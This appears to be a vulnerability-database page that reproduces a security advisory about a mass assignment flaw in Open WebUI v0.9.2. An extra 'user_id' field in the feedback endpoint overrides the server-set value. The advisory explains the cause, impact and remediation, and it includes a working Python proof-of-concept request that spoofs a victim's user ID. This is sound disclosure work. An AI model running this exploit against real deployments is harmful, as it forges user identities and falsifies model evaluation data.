Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Lifecycle Timeline
3DescriptionGitHub Advisory
Mass Assignment in Feedback Creation Allows User ID Spoofing and Evaluation Data Manipulation
Summary
The POST /api/v1/evaluations/feedback endpoint in Open WebUI v0.9.2 is vulnerable to mass assignment via FeedbackForm, which uses model_config = ConfigDict(extra='allow'). Due to an insecure dictionary merge order in insert_new_feedback(), an authenticated attacker can inject a user_id field in the request body that overwrites the server-derived value, creating feedback records attributed to any arbitrary user. This corrupts the model evaluation leaderboard (Elo ratings) and enables identity spoofing.
Details
The vulnerability exists in two layers:
1. Model Layer - Insecure Dict Merge Order
File: backend/open_webui/models/feedbacks.py, lines 148-160
async def insert_new_feedback(
self, user_id: str, form_data: FeedbackForm, db: Optional[AsyncSession] = None
) -> Optional[FeedbackModel]:
async with get_async_db_context(db) as db:
id = str(uuid.uuid4())
feedback = FeedbackModel(
**{
'id': id,
'user_id': user_id,
# ← Server-set from auth token
'version': 0,
**form_data.model_dump(),
# ← OVERWRITES 'id', 'user_id', 'version'
'created_at': int(time.time()),
'updated_at': int(time.time()),
}
)In Python, when a dictionary literal contains duplicate keys, the last value wins. Since **form_data.model_dump() appears after 'user_id': user_id, any user_id field in the form data overwrites the authenticated user's ID.
2. Schema Layer - extra='allow' on Request Form
File: backend/open_webui/models/feedbacks.py, line 106
class FeedbackForm(BaseModel):
type: str
data: Optional[RatingData] = None
meta: Optional[dict] = None
snapshot: Optional[SnapshotData] = None
model_config = ConfigDict(extra='allow')
# ← Accepts arbitrary extra fieldsThe extra='allow' config means Pydantic will accept and preserve any extra fields in the request body, including user_id, id, and version. These are then spread into the FeedbackModel constructor, overwriting server-set values.
Contrast with Secure Pattern
Other models in the same codebase use the correct ordering. For example, backend/open_webui/models/functions.py, line 120:
function = FunctionModel(**{
**form_data.model_dump(),
# ← Spread FIRST
'user_id': user_id,
# ← Server value AFTER → always wins
})And ModelForm at backend/open_webui/models/models.py uses extra='ignore', which is the strictest approach.
Impact
1. User Identity Spoofing
An attacker can create feedback records attributed to any user by specifying their user_id. The admin export endpoint (GET /api/v1/evaluations/feedbacks/export) and admin list (GET /api/v1/evaluations/feedbacks/all) will show the spoofed user_id as the feedback author.
2. Model Evaluation Leaderboard Manipulation
The Elo rating system at backend/open_webui/routers/evaluations.py computes model rankings directly from feedback records. An attacker can inject fake rating feedback to:
- Artificially inflate ratings for a specific model
- Deflate ratings for competitor models
- Make organizational model evaluation decisions unreliable
3. Record ID Control
By injecting a custom id, an attacker controls the UUID of the feedback record. While this won't overwrite existing records (primary key constraint), it enables predictable record IDs that could be useful in other attack chains.
PoC
import requests
BASE_URL = "http://localhost:8080"
# 1. Login as attacker
session = requests.Session()
login_resp = session.post(f"{BASE_URL}/api/v1/auths/signin", json={
"email": "attacker@example.com",
"password": "attackerpass"
})
token = login_resp.json()["token"]
headers = {"Authorization": f"Bearer {token}"}
# 2. Create feedback attributed to a different user (victim)
VICTIM_USER_ID = "12345678-aaaa-bbbb-cccc-000000000000"
resp = session.post(
f"{BASE_URL}/api/v1/evaluations/feedback",
headers=headers,
json={
"type": "rating",
"data": {
"model_id": "gpt-4o",
"rating": 1,
"sibling_model_ids": ["claude-3-opus"],
},
# Mass assignment: these extra fields are accepted due to extra='allow'
# and overwrite server-set values due to dict merge order
"user_id": VICTIM_USER_ID,
# Overwrites authenticated user ID
"version": 999,
# Overwrites default version
}
)
feedback = resp.json()
print(f"Feedback created with user_id: {feedback['user_id']}")
# Expected: attacker's own user_id
# Actual: VICTIM_USER_ID (12345678-aaaa-bbbb-cccc-000000000000)
assert feedback["user_id"] == VICTIM_USER_ID, "Mass assignment successful!"Severity
CVSS 3.1: 5.4 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (any authenticated user)
- User Interaction: None
- Impact: Integrity (feedback data falsification) + limited Availability (leaderboard reliability)
Suggested Remediation
Option 1: Fix dict merge order (minimal fix)
feedback = FeedbackModel(
**{
**form_data.model_dump(),
# Spread FIRST
'id': id,
# Server values AFTER (always win)
'user_id': user_id,
'version': 0,
'created_at': int(time.time()),
'updated_at': int(time.time()),
}
)Option 2: Remove extra='allow' from FeedbackForm (recommended)
class FeedbackForm(BaseModel):
type: str
data: Optional[RatingData] = None
meta: Optional[dict] = None
snapshot: Optional[SnapshotData] = None
model_config = ConfigDict(extra='ignore')
# Reject unexpected fieldsOption 3: Explicit field assignment (most secure)
feedback = FeedbackModel(
id=str(uuid.uuid4()),
user_id=user_id,
version=0,
type=form_data.type,
data=form_data.data.model_dump() if form_data.data else {},
meta=form_data.meta or {},
snapshot=form_data.snapshot.model_dump() if form_data.snapshot else {},
created_at=int(time.time()),
updated_at=int(time.time()),
)Affected Versions
- v0.9.2 (current latest, confirmed vulnerable)
- Likely all versions since feedback/evaluation feature was introduced
References
- Prior advisory: "Mass Assignment via Pydantic extra='allow' Allows Creating Folders in Other Users' Accounts" (patched in v0.9.0) - same root cause class, different endpoint
AnalysisAI
Mass assignment vulnerability in Open WebUI v0.9.2 allows authenticated attackers to spoof user identities and manipulate model evaluation data by injecting a user_id field into feedback requests. The POST /api/v1/evaluations/feedback endpoint fails to properly validate and segregate server-set values from user-supplied input, enabling attackers to create feedback records attributed to arbitrary users and corrupt Elo-based model leaderboard rankings. Patch available in v0.9.5.
Technical ContextAI
The vulnerability combines two insecure patterns in the Pydantic-based feedback creation endpoint. First, FeedbackForm uses ConfigDict(extra='allow'), which instructs Pydantic to accept and preserve fields not explicitly defined in the schema, including reserved fields like user_id and id. Second, the insert_new_feedback() method in feedbacks.py (lines 148-160) merges form data into the model constructor using Python dictionary unpacking in the wrong order: server-set values like user_id are defined before **form_data.model_dump(), meaning any user_id in the form data overwrites the authenticated user's ID due to Python's dictionary merge semantics (last value wins). This is a mass assignment vulnerability (CWE-915) where untrusted input bypasses intended authorization controls. The codebase contains evidence of a prior, similar vulnerability patched in v0.9.0 on the folder creation endpoint, indicating a systemic pattern of unsafe Pydantic usage. Contrast with secure implementations elsewhere in the codebase (e.g., functions.py line 120) that place server values after form data in the merge order, or ModelForm which uses extra='ignore' to reject unexpected fields.
RemediationAI
Vendor-released patch: upgrade to Open WebUI v0.9.5 or later (https://github.com/open-webui/open-webui/releases/tag/v0.9.5). The fix implements proper dictionary merge order in insert_new_feedback() by placing server-set values (id, user_id, version, created_at, updated_at) after the form data spread, ensuring they always take precedence. Alternative or defense-in-depth measures if immediate upgrade is infeasible: (1) change FeedbackForm.model_config from ConfigDict(extra='allow') to ConfigDict(extra='ignore') to silently reject unexpected fields-trade-off is loss of any intentional extensibility, but feedback form structure is stable; (2) implement explicit field assignment in the model constructor rather than unpacking, mapping only required form fields to model fields by name; (3) at the API layer, inject user_id from the authentication token directly into the model creation call without passing it through form validation, ensuring no request body can override it. Patch v0.9.5 also addresses related security improvements including SSRF protection and CSP controls; organizations should apply the full release.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-30630
GHSA-rjmp-vjf2-qf4g